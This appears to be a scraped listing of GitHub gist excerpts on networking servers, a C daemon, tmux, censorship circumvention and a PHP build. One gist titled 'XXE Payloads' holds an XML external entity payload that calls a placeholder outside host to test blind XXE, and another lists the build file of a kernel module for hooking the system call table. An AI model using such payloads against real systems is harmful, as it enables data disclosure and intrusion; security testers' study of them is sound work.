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@paulsmith
paulsmith / echo.go
Created January 12, 2011 06:09
A simple echo server testing a few interesting Go language features, goroutines and channels.
// $ 6g echo.go && 6l -o echo echo.6
// $ ./echo
//
// ~ in another terminal ~
//
// $ nc localhost 3540
package main
import (
@copyninja
copyninja / daemon.c
Created June 19, 2011 07:24
A sample Daemon program in C
#include <stdio.h>
#include <fcntl.h>
#include <signal.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#define RUNNING_DIR "/tmp"
#define LOCK_FILE "daemond.lock"
#define LOG_FILE "daemond.log"
@spikebike
spikebike / client.go
Created March 29, 2012 01:13
TLS server and client
package main
import (
"crypto/tls"
"crypto/x509"
"fmt"
"io"
"log"
)
@andreyvit
andreyvit / tmux.md
Created June 13, 2012 03:41
tmux cheatsheet

tmux cheat sheet

(C-x means ctrl+x, M-x means alt+x)

Prefix key

The default prefix is C-b. If you (or your muscle memory) prefer C-a, you need to add this to ~/.tmux.conf:

remap prefix to Control + a

@clowwindy
clowwindy / ssl.md
Last active June 18, 2024 03:17
为什么不应该用 SSL 翻墙

SSL 设计目标:

  1. 防内容篡改
  2. 防冒充服务器身份
  3. 加密通信内容

而翻墙的目标:

  1. 不被检测出客户端在访问什么网站
  2. 不被检测出服务器在提供翻墙服务
# coding=utf-8
"""
LICENSE http://www.apache.org/licenses/LICENSE-2.0
"""
import datetime
import sys
import time
import threading
import traceback
import SocketServer
@staaldraad
staaldraad / XXE_payloads
Last active June 15, 2024 16:32
XXE Payloads
--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>
@ilammy
ilammy / Makefile
Created April 5, 2015 18:31
Linux kernel system call table hooking
obj-m += afw.o
afw-objs := afw_main.o locate_sct.o ttgl.o
ccflags-y := -std=gnu99 -O2
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
@dtoma
dtoma / epoll_server.py
Last active January 30, 2024 05:12
epoll tcp server in python
#!/usr/bin/env python
"""Simple server using epoll."""
from __future__ import print_function
from contextlib import contextmanager
import socket
import select
@m1st0
m1st0 / php_build_ubuntu.sh
Last active November 25, 2023 07:33
Compiling PHP 8 on Ubuntu 22.10 with Various Supported Modules
#!/bin/bash
# PHP 8 Compile #
# Author: Maulik Mistry
# Please share support: https://www.paypal.com/paypalme/m1st0
# References:
# http://www.zimuel.it/install-php-7/
# http://www.hashbangcode.com/blog/compiling-and-installing-php7-ubuntu
# root-talis https://gist.github.com/root-talis/40c4936bf0287237839ccd3fdfdaec28
#